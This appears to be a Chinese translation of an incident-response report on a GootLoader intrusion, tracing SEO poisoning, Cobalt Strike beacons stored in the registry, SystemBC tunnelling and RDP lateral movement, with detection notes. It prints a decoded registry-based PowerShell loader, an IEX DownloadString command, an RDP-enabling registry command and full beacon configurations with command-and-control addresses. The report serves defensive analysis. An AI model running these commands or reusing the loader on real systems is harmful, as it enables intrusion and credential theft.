SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

要点

  • 2023 年 2 月,我们检测到一次入侵,该入侵是由用户从 SEO 中毒的搜索结果下载并执行文件发起的,从而导致 Gootloader 感染。

  • 初次感染后大约九小时,Gootloader 恶意软件将 Cobalt Strike 信标有效负载直接部署到主机注册表中,然后在内存中执行。

  • 威胁行为者部署了 SystemBC,通过隧道将 RDP 访问接入网络,这有助于破坏域控制器、备份服务器和其他关键服务器。

  • 威胁行为者使用 RDP 对敏感和机密文件进行交互式审查;但是,我们无法确认是否确实有任何数据被泄露。


案例概要

此次入侵始于 2023 年 2 月,当时一名用户搜索“默示雇佣协议”。Gootloader 背后的人员经常利用与合同和协议相关的条款来进行搜索引擎优化 (SEO) 中毒。在这种情况下,用户遇到了 SEO 中毒结果并点击了它。此操作将他们引导至一个模仿用户论坛的受感染网站。该网页上有一个欺骗性链接,诱使用户下载一份雇佣协议。


打开收到的 zip 文件后,用户会看到一个 JavaScript 文件,其名称与其初始搜索词相似。单击此文件会触发 Gootloader 恶意软件的执行过程。这导致在用户的 AppData 文件夹中创建一个新的 JavaScript 文件。为了确保其连续运行,Gootloader 建立了一个计划任务来运行这个新创建的文件,并结合了一个用于持久性的登录触发器。该序列以执行模糊的 PowerShell 脚本结束,该脚本调用另一个 PowerShell 脚本。


此脚本使用内置 PowerShell Cmdlet 和 WMI 查询执行有关主机的一些基本信息发现。然后,该脚本会访问远程端点的轮换列表。首次执行后大约九个小时,其中一个远程端点响应了 Gootloader 恶意软件,提供了写入两个注册表项的下载。这些注册表项包含一个混淆的 Gootloader 启动器和一个直接加载到内存中的 Cobalt Strike 信标。


接下来,检测到 dllhost 中的进程注入实例,同时还检测到多个远程主机的网络连接,检查 LDAP 和 SMB。此外,还观察到定向到域控制器的 LDAP 网络流量,表明针对不同组的发现操作,包括域用户、管理员、RDP 用户和域管理员。


这些活动发生后大约十分钟,威胁行为者在网络内发起横向移动。这涉及创建远程服务来禁用 Windows Defender 的实时监控。随后,他们通过 SMB 传输了 Cobalt Strike 信标可执行文件并将其作为服务执行。此后,在受感染的主机上观察到额外的进程注入和对 LSASS 内存的访问。


威胁参与者继续尝试此方法以转移到各种工作站和域控制器。然而,在域控制器上,Windows Defender 仍然运行并成功阻止了启动信标的尝试。尽管遇到了这些挫折,攻击者仍继续从受感染的工作站进行攻击,利用 PowerView 执行其他发现任务。


为了破坏域控制器,威胁行为者调整了他们的策略。他们在工作站上引入了一个新的 PowerShell 脚本并执行它,这是 SystemBC 的 PowerShell 实现。该脚本发起与命令和控制服务器的通信,并通过创建注册表运行密钥来建立持久性。完成此设置后,威胁参与者通过域控制器上的远程服务执行多个命令,以确保启用 RDP 访问。然后,他们使用 SystemBC 通过受感染的工作站路由连接,通过 RDP 登录到域控制器。


获得域控制器的访问权限后,威胁参与者通过 RDP 会话传输包含一系列命令的文本文件,旨在进一步尝试禁用 Windows Defender。尽管做出了这些努力,他们部署 PowerShell 信标的尝试似乎并不成功。他们并没有被吓倒,而是继续在域控制器上安装高级 IP 扫描程序并启动网络扫描。在该程序运行时,他们探索了远程文件共享,在此期间他们访问了包含密码相关信息的文档。


接下来,威胁参与者将注意力转向备份服务器,利用 Windows 远程管理 (WinRM) 执行多个命令,确保启用并开放对服务器的 RDP 访问。确保 RDP 可用后,他们通过 RDP 连接到服务器,并继续检查环境的备份配置。在此期间,他们还在服务器上部署了SystemBC PowerShell脚本。在此活动之后,威胁行为者的行动明显平静,在接下来的五个小时内没有记录到任何重大活动。返回后,威胁参与者恢复通过 RDP 访问主机。


威胁行为者在从备份服务器进行操作时,通过在文件共享中查找与密码相关的文档来恢复敏感信息的搜索。此外,他们再次执行了 Advanced IP Scanner,这次是从备份服务器执行的。在整个 RDP 会话中,他们以交互方式查看数据,但在此活动阶段没有观察到数据泄露的直接迹象。此后,威胁行为者在网络上的存在停止了,并且在被从网络中驱逐之前没有再次被检测到。


分析师

分析和报告由@_pete_0、@malforsec和@r3nzsec完成


初始访问

初始访问是通过用户通过 Google 搜索导航到 SEO 中毒的网站来实现的。一旦打开,该网站就会伪装成一个论坛,并带有“默示就业协议”文件的下载链接。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

在我们之前对 Gootloader 的分析中(详见报告“ SEO 中毒:Gootloader 的故事”),我们重新审视了威胁行为者所采用的相同初始访问技术。为了更好地理解,我们在之前的报告中加入了一段视频,直观地展示了用户从 SEO 中毒到遇到 Gootloader 恶意软件的过程。

“默示雇佣协议”原来是一个包含 GootLoader 多级加载器的 zip 存档。从下面我们可以看到该zip是从互联网上的一个网站下载的(ZoneId=3)。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


下面描述了Gootloader感染的启动过程:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


执行

Gootloader 在整个感染链中使用了多次执行。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

用户在打开的 zip 存档中双击 JavaScript 文件后,就会执行该文件。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

Javascript 文件的执行会释放另一个名为“Frontline Management.js”的 Javascript 文件。这个被删除的 Javascript 被严重混淆了。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

除了该文件之外,还创建了一个名为“InfrSiRfucture Technologies”的新计划任务。然后调用该任务来运行新的 Javascript 文件。感染链以 PowerShell 脚本继续。这里的执行链是Svchost.exe(计划任务)➝Wscript.exe➝Cscript.exe➝Powershell.exe

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

PowerShell 脚本包含十个远程服务器的 URL:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

并非所有包含的远程服务器在执行时都被武器化,因此某些服务器会回答 HTTP 405“不允许使用方法”。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

然而,对于被武器化的服务器,却有不同的反应。对于此次入侵,地址为 46.28.105[.]94,URL 为“hxxp:blog[.]lilianpraskova[.]cz/xmlrpc[.]php”。然后,服务器开始回复 HTTP 状态代码 200“OK”,并传递 Gootloader 感染的最后阶段。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

最终下载包含三个不同的组件。Gootloader stage1(参数 $cXqt)是一个混淆的 dll,Gootloader stage2(参数 $IbaY)在反混淆后最终成为一个 exe 文件。最后,脚本将 stage1 和 stage2 写入注册表,然后对 stage1 进行反混淆并将其加载到内存中。Stage1 负责对 stage2(Gootloader 的最终有效负载)进行反混淆,并加载我们稍后将看到的 Cobalt Strike Beacon。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

下面对运行的编码 PowerShell 命令进行美化和解码。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

这是解码后的值:

609265940; sleep -s (20); 60213434; $sxd="hkcu:softwaremicrosoftPersonalizationgeRBAdXTDCkN"; $tGSWK=gp -path $sxd; for ($tGSWKgjA=0; $tGSWKgjA -le 705; $tGSWKgjA++){Try{$OHhnP+=$tGSWK.$tGSWKgjA}Catch{}}; $tGSWKgjA=0; while($true){$tGSWKgjA++; $ko=[math]::("sqrt")($tGSWKgjA); if($ko -eq 1000){break}}$CVaW=$OHhnP.replace("#",$ko); $lSfdm=[byte[]]::("new")($CVaW.Length/2); for($tGSWKgjA=0; $tGSWKgjA -lt $CVaW.Length; $tGSWKgjA+=2){$lSfdm[$tGSWKgjA/2]=[convert]::("ToByte")($CVaW.Substring($tGSWKgjA,2),(2*8))}[reflection.assembly]::("Load")($lSfdm); [Open]::("Test")(); 809902482;

手动解码 JavaScript stager 负载可能非常耗时,因此我们使用了Mandiant 制作的这个出色的脚本。这是用于反混淆 Gootloader 恶意软件样本的脚本集合。我们使用GootLoaderAutoJSDecode.py Python 脚本,通过静态分析自动解码 .js 文件。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


Gootloader 持久性

在初始 Gootloader 执行期间创建了计划任务。该任务按需运行,以执行 Gootloader 恶意软件链的下一阶段,并设置登录触发器以维持滩头阵地的持久性。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

系统BC

随后在入侵中,威胁参与者部署了 SystemBC PowerShell 脚本。他们通过使用名为“socks_powershell”的自动运行键来设置此脚本的持久性

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


权限提升

Cobalt Strike ‘getsystem’ 命令的使用是显而易见的,cmd 是从信标 (DLLHOST) 生成的,以提升到 ‘SYSTEM’ 上下文。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

该技术的详细信息记录在此处:https://www.cobaltstrike.com/blog/what-happens-when-i-type-getsystem

在整个入侵过程中,使用从所获取的凭据创建的令牌启动了新的登录会话。最初,使用受损滩头帐户的凭据从 PowerShell 有效负载启动了牺牲进程 dllhost.exe。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

使用获取的凭据创建了一个新的登录会话。此事件记录在 Windows eventID 4624 下,显示初始登录 ID,并使用目标用户帐户跟踪新的登录 ID。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

新创建的登录会话(登录 ID)被分配了特殊权限(提升),如 eventID 4672 中详述。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

导致 CMD 具有提升权限的新登录会话

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

威胁行为者使用相同的技术针对多个帐户,这些帐户是:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

威胁行为者相对轻松地跨受感染的帐户和多个端点进行攻击。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

存在多种检测机会,包括将非典型登录与来自意外帐户或工作站的高权限帐户相关联,以及标准用户向登录 ID 分配特殊权限。使用“登录类型 9”以及“seclogo”身份验证类型强烈表明凭据的使用,类似于“runas”命令的 /netonly 方法,如 Cobalt Strike 的“传递哈希”技术所使用的那样。(https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials)。


防御规避

在滩头堡主机上,为了避免将文件丢失到磁盘,创建了几个注册表项来将有效负载存储在以下位置:

HCKUSoftwareMicrosoftPersonalization

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

每个密钥都有一个关联的有效负载(阶段 1 和阶段 2)。这些密钥存储了在滩头阵地执行的 Cobalt Strike 信标的数据。

geRBAdXTDCkN

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

cbkSBtbjQBNFy

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

可以通过 Base64 编码的 PowerShell 命令观察有效负载的执行以运行 Cobalt Strike 信标

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

在入侵期间,我们观察到与 Windows Defender 篡改相关的活动。该命令是使用 Cobalt Strike 模块(例如 psexec_psh)在主机上远程执行的。删除了计划扫描任务,并创建了一个服务来禁用实时监控。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

计划任务命令

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


远程桌面

通过将DisableRestrictedAdmin键修改为0来启用受限管理模式

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

用受限管理模式允许攻击者使用收集的哈希值而不是密码进行登录。可以在此处找到解释 [ https://github.com/GhostPack/RestrictedAdmin ]。SVR和其他各种威胁行为者也观察到了相同的技术。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

在之前的Gootloader 案例以及另外两个公共案例中也观察到了同样的技术。

第二次注册表修改通过更改“DenyTSConnections”设置来允许 RDP 连接。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

Windows 防火墙

在域控制器上,“Netsh”用于启用远程桌面防火墙配置文件

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

接下来是远程管理防火墙配置文件

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


进程注入

我们观察了进程注入活动,利用 PowerShell 和 dllhost 将 Cobalt Strike 信标加载到滩头主机的内存中。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

这可以在滩头主机的内存转储中观察到,内存空间上有明显的 PAGE_EXECUTE_READWRITE 保护设置,并且 MZ 标头可在进程内存空间中观察到。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

在入侵过程中,我们观察到威胁参与者通过 PowerShell 和 dllhost 注入的 Cobalt Strike 信标使用了多个命名管道:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

PipeName: 4fcc39 PipeName: netsvc1324

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

PipeName: 4fcc39 PipeName: netsvc415

凭证访问

在部署了 Cobalt Strike 信标的受感染端点中,可以访问 LSASS 进程以检索内存凭证。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

带有“未知”的可疑 CallTrace 表示注入的代码,而授予访问权限 0x1010 是来自 mimikatz 等凭证窃取工具的标准行为。代码 0x1010 可以分解为以下访问权限:

0x00000010 = VMRead0x00001000 = QueryLimitedInfo

操作员花了一些时间访问和查看文件。最感兴趣的文件是那些可以指示凭证存储的文件。在这次入侵中,“记事本”被用来查看密码文件共享位置中的文件。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


发现 Gootloader

在进行键盘活动之前,Gootloader 运行了许多 PowerShell Cmdlet 来收集基本主机信息。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

第一部分使用 env 从主机收集环境数据:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

接下来使用 Get-WmiObject 的主机操作系统:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

接下来使用 Get-Process 运行带有 maintitlewindow 过滤器的进程。

没有过滤器:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

带过滤器:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

并使用 Get-PsDrive 检查磁盘空间:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

RDP 端口发现

Advanced IP Scanner ( https://www.advanced-ip-scanner.com/ ) 是从受感染的帐户执行的,然后用于查找打开了 RDP (3389) 的系统。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

LDAP

DLLHost 进程(Cobalt Strike beacon)使用端口 389 和 3268 进行多次 LDAP(轻量级目录访问协议)查询。 

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

Shares枚举

扫描所有网络端点是否存在共享文件夹。这是我们在其他类似案例中观察到的一种常见技术,用于发现和收集感兴趣的信息,即凭证和机密信息。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

Ping

DLLHost(Cobalt Strike 信标)使用“ping”命令对端点进行多次 ping 扫描:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

ping 命令的使用有几个不寻常的指标。该命令是从 SYSTEM 帐户执行的,并且创建了一个没有附加控制台会话的 conhost 进程 [ https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-wtsgetactiveconsolesessionid#return -价值]

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

使用这些指标多次执行“ping”:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

广告组

威胁行为者列举了“远程管理用户”、“远程桌面用户”、“本地管理员”和“分布式 COM 用户”组。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

PowerSploit

据观察,PowerView Cmdlet 作为 PowerSploit 的一部分被用于发现域配置。观察到的 Cmdlet 包括 Get-DomainFileServer 和 Get-DomainSearcher。这是从 SYSTEM 用户上下文作为 Base64 编码值传递的。Base64值SQB是IEX关键字的常用指示符,常用于文件下载。


命令:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


解码为:

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:12210/'); Get-DomainFileServer

使用环回 IP 地址 [127.0.0.1] 表明该脚本是通过其自己的植入物 [dllhost] 传递的。该命令使用的详细信息请参见此处。


调用 Get-DomainSearcher 函数作为 Get-DomainFileServer 执行的一部分:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


横向运动

使用远程服务创建在多个端点上部署 Cobalt Strike 信标。服务要么基于 Powershell base64 编码的有效负载创建,要么作为 dropper 可执行文件创建。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

Cobalt Strike beacon PowerShell 有效负载具有可识别的指示器,包括随机服务名称、COMSPEC 的使用和 PowerShell 参数。以 JAB 开头的 Base64 编码是正在使用的变量的常见指示符。


编译后的 Cobalt Strike 信标被投放到域控制器上

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

这个特定的信标被主机 AV [Windows Defender eventID 1117] 检测到并删除。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


Cobalt Strike 信标与 SMB 管理员共享一起分发

显示了 Cobalt Strike 信标通过 SMB 管理共享分发到环境中的主机。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


WMI 用于启动远程进程

在此入侵中,通过 WMI 远程执行“reg add”命令,尝试通过将“DenyTSConnections”键更改为 false (0) 来允许 RDP 连接,如下面的网络流量捕获所示。

reg add "HKLMSYSTEMCurrrentControlSetControlTerminal Server" /f /v fDenyTSConnections /t REG_DWORD /d 0

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

威胁参与者再次执行命令来修改注册表项,以通过 WMI 远程启用受限管理模式。此活动是通过 Windows eventID 4688 捕获的。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


远程桌面协议

RDP 用于在多个主机之间横向移动。下图显示了威胁参与者建立的 RDP 连接。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

RDP“RemoteDesktopServices-RdpCoreTS/Operational”的 Windows 事件日志 eventID 131 显示 RDP 活动以及客户端 IP 和源端口等详细信息。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

使用 MSRPC 创建远程服务

威胁参与者利用 RPC 远程创建服务。使用 MSRPC 服务控制管理器 (SCM) 是一项已知的 Cobalt Strike 功能,可以在远程主机上执行代码。这里,CreateWowService 调用用于运行 PowerShell 命令以禁用 Windows Defender 实时监控。在wireshark中添加密码或NTLM哈希将解密流量。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析



Hands On Keyboard

使用受感染的帐户,观察到威胁参与者使用记事本在主机之间移动有效负载。他们将内容放入的文件被恰当地命名为“payload.txt”。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析



在威胁参与者使用记事本将内容放入文本文件之前,已在网络共享上捕获了文件 Payload.txt。该数据包含一个编码的 PowerShell 命令和几个禁用 Windows Defender 功能的命令。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

我们可以看到威胁参与者随后从 Sysmon eventID 24 复制了数据,该数据还显示威胁参与者主机名为 DESKTOP-GRALDC5。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

收藏

除了凭证访问中提到的与密码相关的文档之外,其他敏感文件也是使用写字板访问的。一些感兴趣的文件是与法律相关的文件和文件夹,例如合同。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


命令与控制 Cobalt Strike

在事件发生之前,已在 DFIR 报告 威胁情报源中跟踪了用于此次入侵的 Cobalt Strike 服务器。

91.215.85.143:443 JA3:72a589da586844d7f0818ce684948eea JA3Sf176ba63b4d68e576b5ba345bec2c7b7

在入侵过程中,我们还观察到包含来自域控制器的 base64 字符串的恶意 PowerShell 执行。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

使用 CyberChef 解码 Base64 字符串后,生成的输出看起来更干净。然而,我们还注意到下面输出中的第二层混淆。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

初始 Base64 解码后,我们发现有效负载使用默认的 Cobalt Strike XOR 值 35,从而允许下一步根据以下输出解码有效负载。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

使用 XOR 密钥 35 解码第二层混淆后,我们得到了下一层的 Base64 字符串。我们可以使用 XOR 密钥 35 再次对其进行解码。我们可以使用下面的 CyberChef 食谱作为下一步。 

Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')From_Base64('A-Za-z0-9+/=',true)Gunzip()Label('Decode')Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')Conditional_Jump('',false,'',10)From_Base64('A-Za-z0-9+/=',true)XOR({'option':'Decimal','string':'35'},'Standard',false)

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

可以使用 Didier Stevens 的1768.py工具保存和解析数据,该工具揭示了 Cobalt Strike stager 配置,包括 C2 IP (91.215.85[.]143) 和许可证 ID(水印)(206546002),其中根据我们之前发布的报告,这是一个在多次攻击中使用的著名水印。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

滩头主机使用 Cobalt Strike 信标,注入 PowerShell 和 DLLHost 进程;这些充当 91.215.85[.]143:443 的主要入口和出口命令和控制通道

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析



CS HTTP 信标

威胁行为者使用 Cobalt Strike HTTP 信标进行命令和控制通信。三台独立的主机被与 IPv4 91.215.85[.]143:443 通信的 Cobalt Strike HTTP 信标感染。


Cobalt Strike HTTP 信标配置:

{  "beacontype": [    "HTTPS"  ],  "sleeptime": 22000,  "jitter": 37,  "maxgetsize": 13986556,  "spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",  "license_id": 206546002,  "cfg_caution": false,  "kill_date": null,  "server": {    "hostname": "91.215.85.143",    "port": 443,    "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAJbAA83lOuZlkNoqHDAdV1F7OJnqUiF3kD6mwuXzJzVpu9+f4l/QIUotuiQA+vvxdM3q/XGu77WogAe90LRUknEdoD6YnU32G/ts9dbSwG6HySt7cLn5B3FsomLWjBbssH9e31TihCUvZbK6PRzmLW4SBgZigBWLXZgu7+SwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="  },  "host_header": "",  "useragent_header": null,  "http-get": {    "uri": "/jquery-3.3.1.min.js",    "verb": "GET",    "client": {      "headers": null,      "metadata": null    },    "server": {      "output": [        "print",        "append 1522 characters",        "prepend 84 characters",        "prepend 3931 characters",        "base64url",        "mask"      ]    }  },  "http-post": {    "uri": "/jquery-3.3.2.min.js",    "verb": "POST",    "client": {      "headers": null,      "id": null,      "output": null    }  },  "tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  "crypto_scheme": 0,  "proxy": {    "type": null,    "username": null,    "password": null,    "behavior": "Use IE settings"  },  "http_post_chunk": 0,  "uses_cookies": true,  "post-ex": {    "spawnto_x86": "%windir%\syswow64\dllhost.exe",    "spawnto_x64": "%windir%\sysnative\dllhost.exe"  },  "process-inject": {    "allocator": "NtMapViewOfSection",    "execute": [      "CreateThread 'ntdll!RtlUserThreadStart'",      "CreateThread",      "NtQueueApcThread-s",      "CreateRemoteThread",      "RtlCreateUserThread"    ],    "min_alloc": 17500,    "startrwx": false,    "stub": "yl5rgAigihmtjA5iEHURzg==",    "transform-x86": [      "prepend '\x90\x90'"    ],    "transform-x64": [      "prepend '\x90\x90'"    ],    "userwx": false  },  "dns-beacon": {    "dns_idle": null,    "dns_sleep": null,    "maxdns": null,    "beacon": null,    "get_A": null,    "get_AAAA": null,    "get_TXT": null,    "put_metadata": null,    "put_output": null  },  "pipename": null,  "smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  "stage": {    "cleanup": true  },  "ssh": {    "hostname": null,    "port": null,    "username": null,    "password": null,    "privatekey": null  }}

Cobalt Strike SMB 信标

威胁行为者还使用 Cobalt Strike SMB 信标将信标链接在一起以进行横向移动。我们观察到四台使用 Cobalt Strike SMB 信标的主机。


Cobalt Strike SMB 信标配置:

{  "beacontype": [    "SMB"  ],  "sleeptime": 10000,  "jitter": 0,  "maxgetsize": 10485760,  "spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",  "license_id": 206546002,  "cfg_caution": false,  "kill_date": null,  "server": {    "hostname": "",    "port": 4444,    "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAJbAA83lOuZlkNoqHDAdV1F7OJnqUiF3kD6mwuXzJzVpu9+f4l/QIUotuiQA+vvxdM3q/XGu77WogAe90LRUknEdoD6YnU32G/ts9dbSwG6HySt7cLn5B3FsomLWjBbssH9e31TihCUvZbK6PRzmLW4SBgZigBWLXZgu7+SwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="  },  "host_header": null,  "useragent_header": "",  "http-get": {    "uri": null,    "verb": null,    "client": {      "headers": [],      "metadata": null    },    "server": {      "output": []    }  },  "http-post": {    "uri": "",    "verb": null,    "client": {      "headers": [],      "id": null,      "output": null    }  },  "tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  "crypto_scheme": 0,  "proxy": {    "type": null,    "username": null,    "password": null,    "behavior": null  },  "http_post_chunk": null,  "uses_cookies": null,  "post-ex": {    "spawnto_x86": "%windir%\syswow64\dllhost.exe",    "spawnto_x64": "%windir%\sysnative\dllhost.exe"  },  "process-inject": {    "allocator": "NtMapViewOfSection",    "execute": [      "CreateThread 'ntdll!RtlUserThreadStart'",      "CreateThread",      "NtQueueApcThread-s",      "CreateRemoteThread",      "RtlCreateUserThread"    ],    "min_alloc": 17500,    "startrwx": false,    "stub": "yl5rgAigihmtjA5iEHURzg==",    "transform-x86": [      "prepend '\x90\x90'"    ],    "transform-x64": [      "prepend '\x90\x90'"    ],    "userwx": false  },  "dns-beacon": {    "dns_idle": null,    "dns_sleep": null,    "maxdns": 0,    "beacon": null,    "get_A": null,    "get_AAAA": null,    "get_TXT": null,    "put_metadata": null,    "put_output": null  },  "pipename": "\\.\pipe\mojo.5688.8052.1838949397870888770b",  "smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  "stage": {    "cleanup": true  },  "ssh": {    "hostname": null,    "port": null,    "username": null,    "password": null,    "privatekey": null  }}

BC系统

在入侵期间,名为“s5.ps1”的 PowerShell 脚本被删除到用户的“AppDataRoaming”文件夹中。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析



正如Proofpoint所描述的,s5.ps1 是 SystemBC 的 PowerShell 版本。这个PowerShell 版本在过去几年中出现得越来越频繁[ 1,2,3 ] 。

有了流量的 PCAP,我们可以解密它并看到里面运行的是 SOCKS v5 流量。

第一个数据包的前 50 个字节是加密密钥,以 0x00 开头,以 0x3a 结尾:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


使用该密钥解密第一个应答数据包表明这是 SOCKS v5 流量,并且还揭示了域:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析


  • x05 -> 版本 5 

  • x01 -> 命令代码 1 

  • x00 -> 保留

  • x03 -> 地址类型

  • x05 -> 域长度(已编辑的域名)


脚本被删除后大约四分钟,SOCKS (SystemBC) 被利用,通过受感染的端点将网络连接从外部 IPv4 91.92.136[.]20:4001 隧道连接到域控制器。该端点被配置为执行 PowerShell 脚本 [s5.ps1],该脚本与攻击者控制的基础设施建立了 SOCKS 连接。


流程和C2活动可以表示为:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

该脚本具有以下 IPv4 和端口指示符:

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

SOCKS 隧道提供了来自攻击者计算机的以下连接,并允许从外部遍历 RDP [3389]。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

在端点上使用代理(SOCKS 隧道)的副作用是不寻常的端口分配,例如,PowerShell 与端口 3389 通信。在本例中,RDP 用于通过 PowerShell 进程通过隧道连接到域控制器,该进程使用端口 3389 。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

